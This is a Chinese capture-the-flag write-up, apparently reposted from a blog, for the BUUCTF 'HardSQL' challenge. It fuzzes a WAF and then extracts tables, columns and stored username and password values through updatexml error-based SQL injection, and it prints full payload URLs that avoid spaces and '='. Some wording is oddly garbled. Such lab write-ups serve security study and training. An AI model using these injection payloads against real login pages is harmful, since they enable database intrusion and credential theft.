测试了下万能密码登录,无果,有WAF拦截,那接下来便是绕过WAF。
先抓包用bp进行FUZZ,看看有那些没有被拦截的函数。通过手工FUZZ和bpFUZZ结合,创造过滤了and、= 空格 union等多个sql关键字。
创造有一些,报错注入的函数是没有被过滤的,那我们这题就可以通过报错注入来进行注入。

这里我们利用updatexml函数进行报错注入。
payload
#查看数据库信息
#查看数据库里面的表http://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
#查看数据表中的字段http://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=123
#查询字段里面的内容http://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23&password=123
由于报错注入对报错出的内容有长度限定,以是我们用left()right()语句分别查询,然后再进行flag的拼接。
#righehttp://2d43986a-ef4e-4759-9fa4-8443817eb39a.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123
拼接即可得到flag
原文:[极客大寻衅 2019]HardSQL - 随风kali - 博客园